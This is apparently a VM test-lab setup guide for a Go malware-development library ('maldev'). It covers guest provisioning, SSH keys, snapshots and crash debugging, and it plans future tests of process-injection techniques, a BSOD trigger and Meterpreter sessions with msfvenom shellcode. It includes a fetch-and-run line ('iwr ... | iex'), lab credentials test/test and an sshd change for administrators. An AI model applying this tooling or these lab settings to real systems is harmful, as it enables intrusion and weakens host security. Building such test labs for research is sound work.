- Linux guest: Ubuntu 20.04+ or Debian. During install, create local
user
testwith passwordtest, grant sudo. Install can be anything (virt-install cloud-init, GNOME Boxes, VirtualBox GUI). - Windows guest: Windows 10/11. During install, create local user
testwith passwordtest, add to Administrators. - Kali guest: standard Kali install. Create user
testwith passwordtest(or any pair you pass tosshpass).
3. Provision each guest (bring it to ready state)
Two paths per guest. Pick one.
3a. Scripted — inside the guest
Copy the bootstrap script into the guest and run it.
-
Linux / Kali guest — from the host:
scp scripts/vm-test/bootstrap-linux-guest.sh test@<guest-ip>:/tmp/ ssh test@<guest-ip> "bash /tmp/bootstrap-linux-guest.sh"The script: installs openssh-server + rsync + curl + Go 1.26 (or
GO_VERSIONoverride), enables sshd at boot, creates/usr/local/bin/gosymlink so non-login SSH sessions see Go. -
Windows guest — inside the VM (elevated PowerShell):
# Paste the public key and run (one-time): iwr -useb http://<host-ip>/bootstrap-windows-guest.ps1 | iex # OR copy scripts\vm-test\bootstrap-windows-guest.ps1 into the VM and run: .\bootstrap-windows-guest.ps1 -PublicKey "ssh-ed25519 AAAA..."The script: installs OpenSSH Server, starts sshd, opens firewall 22 and 50300, comments out the
Match Group administratorsblock in sshd_config (so admin users read~/.ssh/authorized_keysnormally), installs Go intoC:\Go, creates memscan firewall rule. Pass-PublicKeycontaining the content of~/.ssh/vm_windows_key.pub.
3b. Manual — if you prefer
See Manual guest provisioning at the bottom.
4. Push SSH keys into the guests
# Start each VM and ensure sshd is listening on port 22.
virsh start win10 && virsh start ubuntu20.04 && virsh start kali # libvirt
# (or use VBoxManage startvm on Windows)
./scripts/vm-test/install-keys.sh linux # pushes vm_linux_key.pub via ssh-copy-id
./scripts/vm-test/install-keys.sh kali # same for Kali
# Windows: the bootstrap script already installed the key — skip install-keys.sh.
5. Create the INIT snapshot on each VM
libvirt:
for d in win10 ubuntu20.04 kali; do
virsh snapshot-create-as "$d" --name INIT --description "post-provision ready state"
done
VirtualBox:
for vm in Windows10 Ubuntu25.10 Kali; do
VBoxManage snapshot "$vm" take INIT --description "post-provision ready state" --live
done
6. Wire up config.local.yaml (host-side, per-host overrides)
cp scripts/vm-test/config.local.example.yaml scripts/vm-test/config.local.yaml
# edit: set libvirt_name if your domain names differ, and ssh_key paths.
For Kali: its host/user/key come from environment, not YAML.
cp scripts/vm-test/kali-env.sh.example scripts/vm-test/kali-env.sh
# edit: set MALDEV_KALI_SSH_HOST to `virsh domifaddr kali | awk '/ipv4/...'`
# Then source it from your shell:
echo '. ~/GolandProjects/maldev/scripts/vm-test/kali-env.sh' >> ~/.bashrc
7. Verify
./scripts/test-all.sh --only memscan # static matrix
./scripts/test-all.sh --only linux # Linux go test ./...
./scripts/test-all.sh --only windows # Windows go test ./...
./scripts/test-all.sh # everything, with a unified report
Expected final summary:
memscan PASS total sub-checks: 77 passed / 0 failed (0 fatal row(s))
linux PASS packages: N ok / 0 FAIL (exit=0)
windows PASS packages: N ok / 0 FAIL (exit=0)
overall: PASS
Debugging native crashes inside the Windows VM
When a test process crashes with an access violation on a non-Go thread (e.g. a thread-pool callback, as happens with the Ekko ROP chain), Go's own crash reporter usually catches it and prints a traceback — but the stack dump is often enough to pinpoint the bug. Workflow:
# Run the failing test DIRECTLY via SSH (bypassing vmtest so the VM
# doesn't auto-revert and lose state). Source is pushed as a tarball.
tar -czf /tmp/src.tar.gz --exclude='.git' --exclude='ignore' .
scp -i $HOME/.ssh/vm_windows_key -o StrictHostKeyChecking=no \
/tmp/src.tar.gz test@<VM_IP>:C:/maldev-src.tar.gz
ssh -i $HOME/.ssh/vm_windows_key test@<VM_IP> \
'cd /d C:\maldev & tar -xzf C:\maldev-src.tar.gz & \
go test -c -o C:\t.exe ./<package>/'
ssh -i $HOME/.ssh/vm_windows_key test@<VM_IP> \
'C:\t.exe -test.v -test.run <Name>' > /tmp/crash.log 2>&1
head -30 /tmp/crash.log # exception code, address, goroutine trace
Go's crash output includes:
signal 0xc0000005 code=0x0 addr=0x...— exception code + fault addressgoroutine N gp=... [running]:+ symbolic stack framesunexpected return pc for X called from 0x...— surfaces stack corruption
If the Go reporter doesn't surface enough detail, WER LocalDumps (configured
by scripts/vm-provision.sh) writes a full minidump to C:\Dumps\*.dmp;
fetch it back via scp and analyze on the host. The TOOLS snapshot already
has the registry keys (DumpType=2, DumpFolder=C:\Dumps).
Troubleshooting
| Symptom | Cause | Fix |
|---|---|---|
virsh list shows empty | user not in libvirt group OR URI mismatch | sudo usermod -aG libvirt $USER + re-login; or virsh -c qemu:///session list for user-mode VMs (GNOME Boxes default) |
Windows SSH key-auth refused despite ~/.ssh/authorized_keys | Match Group administrators in sshd_config — admins read administrators_authorized_keys | Comment out the Match block (bootstrap script does this) |
memscan server spawned but /health times out | Windows Firewall blocks 50300 | New-NetFirewallRule -Name memscan-in -Direction Inbound -LocalPort 50300 -Protocol TCP -Action Allow |
| memscan server dies as soon as SSH session ends | Windows OpenSSH binds children to sshd's JobObject | Orchestrator already uses Task Scheduler (schtasks /Create /SC ONCE + /Run) — runs outside the job |
| "Le chemin d'accès spécifié est introuvable" from virsh parsing | French locale | LC_ALL=C forced in all scripts (install-keys.sh, driver_libvirt.go) |
go not in PATH via non-login SSH | default /etc/profile.d/go.sh only loads for login shells | Symlink /usr/local/go/bin/go → /usr/local/bin/go (bootstrap script does this) |
ubuntu20.04- with trailing dash | GNOME Boxes install artifact | Either use the name as-is in config.local.yaml or virsh domrename ubuntu20.04- ubuntu20.04 |
Kali VM named debian13 in libvirt | installer chose that name | Use libvirt_name: debian13 in kali-env.sh, or virsh domrename debian13 kali |
Manual guest provisioning
If the bootstrap scripts don't fit, here's the minimum each guest needs.
Linux / Kali guest
sudo apt update && sudo apt install -y openssh-server rsync curl
sudo systemctl enable --now ssh
curl -LO https://go.dev/dl/go1.26.2.linux-amd64.tar.gz
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf go1.26.2.linux-amd64.tar.gz
sudo ln -sf /usr/local/go/bin/go /usr/local/bin/go
sudo ln -sf /usr/local/go/bin/gofmt /usr/local/bin/gofmt
rm go1.26.2.linux-amd64.tar.gz
Kali only: sudo apt install -y metasploit-framework (usually pre-installed).
Windows guest (elevated PowerShell)
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Start-Service sshd
Set-Service -Name sshd -StartupType Automatic
New-NetFirewallRule -Name memscan-in -Direction Inbound -LocalPort 50300 -Protocol TCP -Action Allow
New-NetFirewallRule -Name ssh-in -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
# Authorize the host's public key.
$k = 'ssh-ed25519 AAAA... maldev-vmtest-windows'
New-Item -ItemType Directory -Force C:\Users\test\.ssh | Out-Null
Add-Content C:\Users\test\.ssh\authorized_keys $k
icacls C:\Users\test\.ssh\authorized_keys /inheritance:r /grant "test:F" /grant "SYSTEM:F"
# If user 'test' is an admin: comment Match Group administrators block.
$cfg = "$env:ProgramData\ssh\sshd_config"
(Get-Content $cfg) -replace '^(Match Group administrators)','# $1' `
-replace '^(\s*AuthorizedKeysFile\s+__PROGRAMDATA__)','# $1' |
Set-Content $cfg -Encoding ASCII
Restart-Service sshd
# Go 1.26.2.
$zip = "$env:TEMP\go.zip"
Invoke-WebRequest https://go.dev/dl/go1.26.2.windows-amd64.zip -OutFile $zip -UseBasicParsing
Expand-Archive $zip -DestinationPath C:\ -Force
[Environment]::SetEnvironmentVariable("Path",
[Environment]::GetEnvironmentVariable("Path","Machine") + ";C:\Go\bin", "Machine")
Remove-Item $zip
Then take a INIT snapshot and register the libvirt/VBox name in
scripts/vm-test/config.local.yaml.
Future extensions (Phase 5)
Not currently in the matrix, kept in this note so a contributor can add them without re-deriving the design:
-
Remote-inject verifs (~20 additional sub-checks):
CreateRemoteThread,RtlCreateUserThread,EarlyBirdAPC,QueueUserAPC,ThreadHijack,KernelCallbackExec,PhantomDLLInject,ModuleStomp,ExecuteCallback{EnumWindows, TimerQueue, CertEnumStore} × 4 callers where applicable. Pattern: extendcmd/memscan-harness/harness_windows.gowith a-target notepadflag that spawnsnotepad.exe, uses that PID forinject.Config.PID, then reports both harness PID andtarget_pid=<notepad>. The orchestrator attaches totarget_pidfor/find. Expected "fails" perdocs/testing.md:61-62: ThreadHijack+Direct/Indirect (RSP alignment), CreateFiber (deadlocks Go). -
BSOD test (crashes VM, restores snapshot): reimplement the gitignored
scripts/vm-test-bsod.gousing the same vmtest driver. Launch harness via scheduled task that callsbsod.Trigger(nil), poll sshd disappearance on the VM, thendriver.Restore(). -
Meterpreter matrix (~21 end-to-end sessions): wrap the Meterpreter e2e scenarios from
docs/testing.md:78-108in the same matrix-runner shape as memscan. Each row: spawn MSF handler on Kali viatestutil.KaliStartListener, inject msfvenom shellcode via oneMethod × Caller, asserttestutil.KaliCheckSession()returns true. -
MCP SSE streamable HTTP: the stdio MCP adapter (
cmd/memscan-mcp) already speaks JSON-RPC 2.0. To expose it over network for remote Claude Code usage, add--ssemode that listens HTTP on a port, implementing the MCP SSE transport. ~100 LoC.